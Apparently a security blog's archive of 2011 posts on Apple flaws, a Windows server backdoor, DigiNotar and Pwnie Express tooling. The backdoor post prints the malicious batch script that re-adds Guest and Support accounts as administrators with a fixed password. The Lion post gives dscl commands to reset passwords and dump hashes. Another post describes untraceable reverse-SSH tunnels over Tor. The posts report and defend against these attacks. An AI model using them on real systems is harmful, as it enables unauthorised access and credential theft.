Charlie Miller Discovers iOS Code-Signing Bypass Vulnerability
Security researcher Charlie Miller (@0xcharlie) has discovered a significant flaw in iOS which may allow a malicious app on the App Store to download and execute arbitrary unsigned code. What this means for iPhone, iPad and iPod Touch users is that installing a malicious app may allow an attacker to obtain shell access to your device, and download contacts or images.
Apple reviews every app submitted to the App Store, which has meant that iOS users have not had to worry about outright malware. Since this vulnerability allows the apps to fetch code remotely, they can perform actions not reviewed by the App Store staff. Charlie had submitted a proof-of-concept app that was approved (see video below), but has since been removed by Apple.
The reason this vulnerability works is based around some changes Apple made in iOS 4.3 last year, which allowed Mobile Safari to run javascript at a more privileged level on the devices. This change required Apple to make an exception for Safari to execute unsigned code in a particular area of memory. Charlie Miller’s bug is allegedly a very unique case that allows any app to take advantage of this, and hence run their own unsigned code.
Charlie will be presenting the vulnerability in detail at the SysCan conference in Taiwan next week. Apple has already released a developer beta of iOS 5.0.1 which patches the recent iPad Smart Cover lock screen bypass, but I would not be at all surprised if they release another beta which includes a fix for this bug. Until then, be careful to only install apps from developers you trust.
[Update] Apple has kicked Charlie out of the Developer program. At first I felt that this was an extremely bad reaction on Apple’s part. That said, Apple is probably most upset that Charlie’s proof-of-concept app could have been installed by legitimate users. Regardless of Charlie’s intentions, this could constitute malware, and he should have removed the app as soon as he saw the flaw existed. The posting of his video above probably didn’t help matters either.
Malicious Backdoor Batch Script Re-Enables Privileged Guest and Support Accounts on Windows Servers
I recently came across a Windows 2000 server that was found to have been compromised. During the investigation, both the Guest and Support_388945a0 accounts were found to had been placed in the Administrators and Remote Desktop Users groups (as the server was internet facing). Things got interesting however, when we removed these accounts from those groups and disabled them both. After logging back in a short while later, both Guest and Support accounts had been re-enabled and put back into the Admins and RDP groups.
When going to check the Windows hosts file to make sure there weren’t any modifications made to it, the following suspicious files were found in %systemroot%\system32\drivers\etc\
1.exe
2.exe
gm.dls
gmreadme
logoff.exe
netstat.exe
query.exe
t.msc
ts.exe
After some analysis, none of these files were found to be inherently malicious, but are instead used by a malicious batch script to enable the Guest and Support accounts with a specific password, and add them to the Admins and RDP group. The 1.exe file, for example, is just a executable with account-management capabilities.
In C:\WINDOWS\Application Compatibility Scripts\Install\Template there was a batch script called “.bat” with the following contents:
@cd %systemroot%\system32\drivers\etc\
@1 localgroup “Remote Desktop Users” SUPPORT_388945a0 /add
@1 localgroup “Remote Desktop Users” guest /add
@1 user guest QQqqaa123321
@1 user guest QQqqaa123321 /add
@1 localgroup administrators guest /add
@1 user guest /active:yes
@1 user SUPPORT_388945a0 QQqqaa123321
@1 user SUPPORT_388945a0 QQqqaa123321 /add
@1 localgroup administrators SUPPORT_388945a0 /add
@1 user SUPPORT_388945a0 /active:yes
At this point it’s fairly evident what’s going on, this bat script is being run periodically, and runs 1.exe to ensure that both the Guest and Support_338945a0 accounts are present, and in the Administrators and Remote Desktop Users groups. It also sets the password to both of those accounts to ‘QQqqaa123321′. If you find these files on your system, consider that server compromised. Remove the files and disable those accounts in the first instance, but a full rebuild is highly recommended to rule out the possibility of other backdoors or rootkits.
These types of batch scripts are not uncommon for backdoor trojans. However, I couldn’t find any references to this particular backdoor, so thought I would post about this in case anyone else searches for information about it. Note that at the time of writing, this batch script is not picked up by any anti-virus software.
iPad Lock Screen Bypass Vulnerability using Smart Cover [Patched]
Marc Gurman at 9to5Mac has discovered a vulnerability on the iPad that allows for a limited bypass of the device’s lockscreen. Anyone with an iPad Smart Cover (or fridge magnet) can gain access to the previously-open app (or the home screen if no app was open).
By holding the power button to bring up the ‘Power Off’ screen, closing the smart cover, re-opening it (or just sliding a fridge magnet along the right-hand side of the device), and clicking cancel, the attacker will be dropped into the screen that was open before the iPad was locked. If the attacker gets dropped into the home screen, then they’ll be able to see the installed apps, but won’t be able to open anything. If Safari or Mail (or any other app) was the open when the device was locked, then the attacker would have access to that app.
Unlike Siri being available from the lock screen, which is not a security flaw (an unintended behaviour), this one actually is; and although an attacker does not get full control of the iPad, the severity depends on whether a sensitive app was being used before the device was locked.
Luckily it is possible to protect yourself against this bug in the interim by disabling Smart Covers in Settings > General > iPad Cover Lock/Unlock > Off. Expect Apple to patch this in iOS 5.0.1. Check out 9to5′s video below for a demonstration:
[Update] Apple did indeed patch this bug in iOS 5.0.1. Those of you who disabled your Smart Covers for security purposes can now re-enable them!
Apple Releases Slew of Security Updates (OSX, Safari, iTunes, iOS 5, aTV)
I wasn’t going to post about last week’s fairly significant iTunes update, but then Apple went and patched a whole bunch of vulnerabilities across the board. Some of these are fairly significant so I thought I would provide a short breakdown of the changes. Either way, you should definitely be patching all of your Apple devices and software tonight.
Hit the jump for a summary of the key vulnerabilities patched in Apple’s security updates.
WebKnock.org: An fwknop SPA web-interface
Vasilis Mavroudis has launched WebKnock.org, a web-based front end to the fwknop (Single Packet Authorization) client. It does not yet seem to support the full suite of fwknop features, but the WebKnock site allows you to send basic auth packets to your fwknop server in order to open firewall ports. This can definitely come in handy if you need access to a port on your server, and don’t have the fwknop client handy on the computer, Android or iPhone (coming soon).
Note that although WebKnock uses SSL to protect the HTTP session, you are required to supply your fwknop password. If logged or intercepted, your knock details could be used to open firewall ports or even run commands on your server (depending on how you’ve configured fwknop). While WebKnock may be useful in a bind, from a purely security standpoint I don’t recommend using it regularly due to this risk. If you do use it, you should consider changing your fwknop passphrase.
I hope that WebKnock is eventually open-sourced to allow both for the code to be reviewed, and for people to host their own instance of WebKnock. It would also be nice to see more fwknop features being added, including the ability to define a username, and open multiple ports at once (eg. by entering: tcp/22 udp/53 tcp/80). The ‘Allow IP’ field should also get pre-populated with the visitor’s IP address for convenience.
Source: Cipherdyne
Extracting and Cracking Mac OS X Lion Password Hashes [Updated]
The Defence in Depth blog has a post about a flaw in Lion’s redesigned authentication mechanisms and Directory Services. In short, it is possible to change the password of the currently logged in user by simply running the following command in the terminal, and it won’t ask you for the user’s current password:
$ dscl localhost -passwd /Search/Users/<username>
In Lion it is also easy to dump a user’s SHA-512 password hash using the following command:
$ dscl localhost -read /Search/Users/<username>
Then look for the dsAttrTypeNative:ShadowHashData chunk in the output (sample below). The hex string in red is the salt, and the green is the hash.
62706c69 73743030 d101025d 53414c54 45442d53 48413531 324f1044 74911f72 3bd2f66a 3255e0af 4b85c639 776d510b 63f0b939 c432ab6e 082286c4 7586f19b 4e2f3aab 74229ae1 24ccb11e 916a7a1c 9b29c64b d6b0fd6c bd22e7b1 f0ba1673 080b1900 00000000 00010100 00000000 00000300 00000000 00000000 00000000 000060
Cracking password hashes can be done using his custom Python script, or John the Ripper (with the Jumbo patch). Note that even if someone manages to obtain your password hash, if you’re using a strong password it will be extremely difficult for them to recover it. Seems like both of these are important but fairly low-risk flaws introduced into Lion. Hopefully Apple will look into these for the next update.
[Update 1] While waiting for an Apple-supplied security update, it is possible to protect yourself from this vulnerability by adjusting the permissions on dscl:
sudo chmod go-x /usr/bin/dscl
This makes it so that only root can execute dscl. To revert this simply run:
sudo chmod go+x /usr/bin/dscl
[Update 2] This vulnerability was patched in Mac OS X 10.7.2.
Security Update 2011-005 Fixes DigiNotar SSL Vulnerability
Apple has finally issued Security Update 2011-005 to address the recent issues around compromised Dutch certificate authority DigiNotar. It was discovered that at least 531 fraudulent SSL certificates were issued by DigiNotar, leading to their root certificate being revoked in all major operating systems and browsers over the past two weeks. A man-in-the-middle attacker in possession of one of these certs (eg. Google, Skype), would be able to intercept SSL-encrypted traffic to those sites. It is believed that the use of these fraudulent certs may have been limited to the Iranian government.
This patch removes the DigiNotar CA from the trusted root certificates in the Mac OS X keychain (which is also used by Safari) for Lion and Snow Leopard. Unfortunately no patch has been issued for Leopard (10.5) users, leaving them at a heightened risk from these bad certificates. It is recommended that Leopard users delete the DigiNotar CA certificate from the Keychain using the following steps:
- Open Keychain Access (/Applications/Utilities/Keychain Access)
- Click on the System Roots keychain in the top-left hand panel
- Click on Certificates in the bottom-left hand panel
- Type DigiNotar into the search field in the top right.
- Right-click on the DigiNotar Root CA, and select Delete.
# sudo /usr/bin/security delete-certificate -Z C060ED44CBD881BD0EF86C0BA287DDCF8167478C /System/Library/Keychains/SystemRootCertificates.keychain
Firefox users should update to the latest version of Firefox. Here is the full Apple description for this update:
Security Update 2011-005
- Certificate Trust Policy Available for: Mac OS X v10.6.8, Mac OS X Server v10.6.8, OS X Lion v10.7.1, Lion Server v10.7.1Impact: An attacker with a privileged network position may intercept user credentials or other sensitive information
Description: Fraudulent certificates were issued by multiple certificate authorities operated by DigiNotar. This issue is addressed by removing DigiNotar from the list of trusted root certificates, from the list of Extended Validation (EV) certificate authorities, and by configuring default system trust settings so that DigiNotar’s certificates, including those issued by other authorities, are not trusted.
Reverse SSH over Tor on the Pwnie Express
The Pwnie Express (PwnPlug) is a great little tool for hackers, pentesters and social engineers alike. While I don’t advocate the use of a Pwnie for illicit purposes, I was intrigued about using it as an untraceable tap into a network. Out of the box the Pwnie allows you to configure reverse SSH connections, exfiltrated over a number of different protocols including HTTP, SSL, ICMP and DNS.
While these are great for getting out of controlled networks, they all require the Pwnie to be configured with the IP address of your SSH server, which could potentially be traced back to you. It also requires your SSH server to be able to directly receive connections at the IP/hostname configured on the Pwnie. While one could run an SSH server on a proxy box somewhere, I felt that was too primitive, so I installed Tor on my Pwnie and configured a Tor Hidden Service on my SSH server.
Note: For the purposes of this tutorial, the SSH server will be running on BackTrack 5. I’m assuming you’ve already performed the initial Pwnie Express setup steps on the server! Check out my PwnieScripts to help speed up and automate the Pwnie setup.
PwnieScripts for Pwnie Express
The Pwnie Express (PwnPlug) is a purpose-built penetration testing device in a plug form factor. A key feature is its ability to exfiltrate from a network and connect back to your SSH server using HTTP, SSL, ICMP or DNS tunnels. Check out my tutorial on how to hack your Pwnie to make untraceable reverse SSH connections over Tor.
There are a number of steps required to set up the computer on which the Pwnie’s reverse SSH connections will be received (setting up the listeners). To simplify and automate this process, I’ve put them together into a set of very simple bash scripts. I’m hoping to turn two of these into a proper init.d script, but haven’t yet had the time. The PwnieScripts set contains the following five bash scripts, and are designed to be used on BackTrack 5 (although they can easily be adapted to work on any other distro):
- pwnsetup.sh: Automates the Pwnie Express setup process by enabling SSHD, generating SSH keys, creating a ‘pwnplug’ user, installing HTTPTunnel, generating an SSL certificate, configuring stunnel, and configuring DNS2TCP.
- pwnstart.sh: Kills any existing listeners, and then starts SSHD as well as new HTTPTunnel, stunnel (SSL tunnel), DNS2TCP (DNS tunnel) and ptunnel (ICMP tunnel) listeners.
- pwnwatch.sh: One-line script to monitor netstat for incoming connections from Pwnie Express.
- pwnconnect.sh: aka. the Lazy Script – initiates an SSH connection to the first available established connection from Pwnie Express, so you don’t have to check which ones are active. It’ll use the more secure/relible ones first (SSL, HTTP) where available. Use the -t flag to only connect over Tor.
- pwnstop.sh: Kills all existing HTTPTunnel, stunnel, DNS2TCP and ptunnel listener processses.
Download PwnieScripts (tgz 4kb)
Any feedback or tweaks are welcome. Leave a comment below, send me an email, or message me on Twitter.
[Changelog]
v0.1: Initial release.
Kernel.org Compromised, OpenSSH Source Not Backdoored
Kernel.org, the primary site for the Linux kernel source, was compromised sometime in August. It is believed that the attackers gained access using compromised user credentials, and then escalated their privileges to root. Early pieces of information implied that some OpenSSH source code was stored on the compromised Kernel.org server(s), apparently this may not be the case. So far the investigation has found that several modifications were made to the compiled OpenSSH client and server binaries running on the system to log user activity. The full extent of the changes is not yet known, and nobody has yet come forward to claim this hack.
If you’ve installed or updated your kernel or OpenSSH recently, you may want to reinstall from a known good version, although it is not yet known if any kernel sources were modified. Although in this case OpenSSH wasn’t compromised, admins can consider running some form of Single Packet Authorization, such as fwknop, as an additional layer of protection for your SSH server against these kinds of issues (backdoors) and other potential future 0days.
Hopefully more info will come to light as the investigation progresses. Hit the jump for more details.





